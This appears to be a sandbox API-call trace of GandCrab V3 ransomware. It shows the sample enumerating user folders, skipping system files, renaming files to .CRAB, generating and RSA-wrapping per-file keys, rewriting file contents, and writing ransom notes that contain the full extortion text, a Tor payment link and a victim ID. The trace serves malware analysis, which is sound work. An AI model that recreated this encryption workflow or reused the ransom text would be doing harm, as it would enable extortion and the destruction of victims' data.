	[0109.311] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="bootsect.bak") returned 1
	[0109.311] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="boot.ini") returned 1
	[0109.311] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="ntuser.dat.log") returned -1
	[0109.311] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="thumbs.db") returned -1
	[0109.311] lstrcmpiW (lpString1="LogTransport2.cfg", lpString2="CRAB-DECRYPT.txt") returned 1
	[0109.311] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.311] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.CRAB") returned 80
	[0109.311] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg")) returned 0x20
	[0109.312] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg", dwFileAttributes=0x20) returned 1
	[0109.312] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg.crab")) returned 1
	[0109.313] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.313] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.CRAB"
	[0109.313] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.CRAB.CRAB"
	[0109.313] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e6b0) returned 1
	[0109.313] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.314] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.314] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.314] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0109.314] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0109.314] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.315] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e6b0) returned 1
	[0109.315] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.315] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.316] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.316] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0109.316] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0109.316] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.316] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.316] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.317] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e6b0) returned 1
	[0109.317] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xd80360) returned 1
	[0109.317] CryptGetKeyParam (in: hKey=0xd80360, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0109.317] CryptEncrypt (in: hKey=0xd80360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0109.317] GetLastError () returned 0x0
	[0109.318] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0109.318] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0109.318] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xd80520) returned 1
	[0109.318] CryptGetKeyParam (in: hKey=0xd80520, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0109.318] CryptEncrypt (in: hKey=0xd80520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0109.318] GetLastError () returned 0x0
	[0109.318] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.319] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0109.319] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.319] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.320] ReadFile (in: hFile=0x3f4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314b474*=0xd8, lpOverlapped=0x0) returned 1
	[0109.332] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.333] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0109.333] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.333] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffffff28, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.333] WriteFile (in: hFile=0x3f4, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314b464*=0xe0, lpOverlapped=0x0) returned 1
	[0109.334] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.334] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.338] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0109.338] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0109.338] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0109.338] CloseHandle (hObject=0x3f4) returned 1
	[0109.339] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.339] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.339] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.339] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.340] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.340] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.340] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0109.340] FindClose (in: hFindFile=0xd802e0 | out: hFindFile=0xd802e0) returned 1
	[0109.340] FindNextFileW (in: hFindFile=0xd802a0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0109.340] lstrcmpW (lpString1="Sonar", lpString2=".") returned 1
	[0109.340] lstrcmpW (lpString1="Sonar", lpString2="..") returned 1
	[0109.340] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Sonar" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar"
	[0109.340] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\"
	[0109.340] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.341] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.341] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.341] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.341] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.341] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.341] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.341] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.341] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.341] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.341] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.341] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.341] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.341] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\\\CRAB-DECRYPT.txt") returned 67
	[0109.342] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\sonar\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0109.343] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.343] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0109.343] CloseHandle (hObject=0x3f0) returned 1
	[0109.344] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.344] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\") returned 50
	[0109.344] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*"
	[0109.344] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xd802e0
	[0109.344] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.344] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.344] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.344] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.344] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.344] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.344] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.344] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\CRAB-DECRYPT.txt"
	[0109.344] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.345] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\CRAB-DECRYPT.txt") returned 66
	[0109.345] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\CRAB-DECRYPT.txt") returned 66
	[0109.345] lstrlenW (lpString=".txt") returned 4
	[0109.345] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.345] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.345] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.346] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\CRAB-DECRYPT.txt") returned 66
	[0109.346] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\CRAB-DECRYPT.txt") returned 66
	[0109.346] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.346] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.346] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.346] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.346] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.346] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.346] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.346] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.346] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.346] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.346] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.346] lstrcmpW (lpString1="Sonar1.0", lpString2=".") returned 1
	[0109.346] lstrcmpW (lpString1="Sonar1.0", lpString2="..") returned 1
	[0109.346] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\", lpString2="Sonar1.0" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0"
	[0109.346] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\"
	[0109.346] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.346] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.347] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.347] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.347] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.347] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.347] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.347] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.347] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.347] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.347] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.347] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.347] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.347] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\\\CRAB-DECRYPT.txt") returned 76
	[0109.347] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\sonar\\sonar1.0\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0109.348] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.348] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0109.349] CloseHandle (hObject=0x3f4) returned 1
	[0109.349] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.349] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\") returned 59
	[0109.349] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*"
	[0109.349] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xd80760
	[0109.349] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.349] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.350] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.350] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.350] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.350] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.350] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.350] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\CRAB-DECRYPT.txt"
	[0109.350] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.350] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\CRAB-DECRYPT.txt") returned 75
	[0109.350] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\CRAB-DECRYPT.txt") returned 75
	[0109.350] lstrlenW (lpString=".txt") returned 4
